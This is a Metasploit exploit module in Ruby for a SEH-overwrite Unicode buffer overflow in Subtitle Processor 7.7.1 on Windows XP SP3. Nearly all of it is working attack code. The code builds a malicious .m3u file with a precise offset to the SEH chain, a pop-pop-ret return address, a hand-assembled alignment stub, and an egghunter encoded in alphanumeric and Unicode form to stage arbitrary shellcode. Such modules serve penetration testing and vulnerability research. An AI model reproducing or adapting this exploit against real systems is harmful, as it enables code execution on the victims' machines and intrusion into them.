## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Egghunter def initialize(info = {}) super( update_info( info, 'Name' => "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in Subtitle Processor 7. By supplying a long string of data as a .m3u file, Subtitle Processor first converts this input in Unicode, which expands the string size, and then attempts to copy it inline on the stack. This results a buffer overflow with SEH overwritten, allowing arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Murphy', # Initial discovery, poc 'sinn3r', # Metasploit ], 'References' => [ [ 'CVE', '2011-10025' ], [ 'OSVDB', '72050' ], [ 'EDB', '17217' ], [ 'URL', 'http://sourceforge.net/projects/subtitleproc/' ] ], 'Payload' => { 'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80", 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'EXITFUNC' => "seh", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3', { 'Nop' => "\x43", # ADD BYTE PTR DS:[EBX],AL 'Offset' => 4078, # Offset to SEH chain 'Ret' => 0x57b4, # Unicode compatible P/P/R (Subtitle.exe) 'Max' => 6000 # Max buffer size }, ], ], 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => '2011-04-26', 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u']) ] ) end def get_unicode_payload(p, opts) encoder = framework.encoders.create("x86/alpha_mixed") encoder.datastore.import_options_from_hash({ 'BufferRegister' => opts[:AlphaNumRegister] }) alpha_payload = encoder.encode(p, nil, nil, platform) # This code can be found after the unicode payload is decoded alignment = opts[:PrependAlignment] || "" encoder = framework.encoders.create("x86/unicode_mixed") encoder.datastore.import_options_from_hash({ 'BufferRegister' => opts[:UnicodeRegister] }) unicode_payload = encoder.encode(alignment + alpha_payload, nil, nil, platform) return unicode_payload end def exploit nop = target['Nop'] sploit = '' hunter, p = generate_egghunter(payload.encoded, payload_badchars, { :checksum => false }) opts = { :AlphaNumRegister => 'EAX', :UnicodeRegister => 'ECX', # PUSH EBX; POP EAX; XOR AX, 0x4450; XOR AX, 0x4634; DEC EAX; XOR AL, 0x41; XOR AL, 0x57 :PrependAlignment => "\x53\x58\x66\x35\x50\x44\x66\x35\x34\x46\x48\x34\x41\x34\x57" } hunter = get_unicode_payload(hunter, opts) sploit << rand_text_alpha(target['Offset']) sploit << "\x61" sploit << nop sploit << [target.ret].pack('V*') sploit << nop # first stage starts here sploit << "\x59" # POP ECX sploit << nop sploit << "\x54" # PUSH ESP sploit << nop sploit << "\x59" # POP ECX sploit << "\x41" # ADD BYTE PTR DS:[ECX], AL sploit << "\x59" # POP ECX sploit << nop sploit << "\x51" # PUSH ECX sploit << nop sploit << "\xc3" # RET sploit << rand_text_alpha(48) sploit << hunter sploit << rand_text_alpha(200) sploit << p sploit << rand_text_alpha(target['Max'] - sploit.length) # Generate file print_status("Creating #{datastore['FILENAME']}...") file_create(sploit) end end